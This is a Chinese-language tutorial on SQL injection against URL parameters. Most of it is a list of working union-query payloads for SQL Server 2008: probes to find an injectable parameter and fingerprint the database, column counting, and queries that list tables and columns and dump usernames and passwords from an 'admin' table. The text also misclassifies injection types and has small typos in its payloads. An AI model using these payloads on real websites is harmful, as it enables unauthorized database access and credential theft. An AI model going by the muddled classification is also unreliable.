谈到SQL注入,不得不提它的本质,把用户的输入数据当做代码来执行。两个关键条件,第一个是用户能够控制的输入;第二个是程序要执行的代码,拼接了用户输入的数据
按照注入的技术类型可分解为:
显错注入和盲注入,其中盲注入可分为,联合查询注入,堆查询注入,DNS查询注入,报错注入,延时注入和布尔注入。这篇文章重点在分享一些联合查询注入的命令
1.首先来判断注入点(URL类)
当目标URL为:www.target.com/1.php?id=88时,来进行简单的注入点判断;
www.target.com/1.php?id=88-0 无变化
www.target.com/1.php?id=88-1 报错
www.target.com/1.php?id=88 and 1=1 无变化
www.target.com/1.php?id=88-1 and 1=2 报错
2.判断是何种数据库
URL+/*!%20s*/ 错误则是MySQL;URL+/*pc 正常为MySQL
URL+and exists(select @@version)-- 正常为SQL Server
3.SQL Server 2008注入过程
判断字段数:
id=1/**/Order/**/By/**/5/**/-- 正常则字段数≥5 --和/**/均为注释用来注释执行语句时的代码 保证注入代码正常执行
id=1/**/Order/**/By/**/6/**/-- 错误则字段数<6
判断数据类型,字符型就可以SQL注入了
id=1/**/union/**/all/**/select/**/NULL,NULL,NULL,NULL,NULL-- 正常
id=1/**/union/**/all/**/select/**/NULL,NULL,’test’,NULL,NULL-- 正常 (一位一位去尝试)
显示数据库版本
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,NULL,@@version,NULL,NULL--
当前库名
and/**/1=2/**/union/**/all/**/select/**/NULL,db_name(),NULL,NULL,NULL from sysobjects--
指定库表名
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from库名..sysobjects where xtype='u' and name not in(select top 0 name from 库名..sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--
当前库查询表
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects-- //第二个top从0开始输入 1,2,....列出当前库所有表名
查询admin变内的字段
d=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='admin'))),NULL,NULL,NULL fromsysobjects--//第二个top从0开始遍历
查看admin变字段id,username,password的内容
id=1 and 1=2 union all select id,username,password,NULL,NULL from admin--
webshell写入和系统命令执行就不能再分享了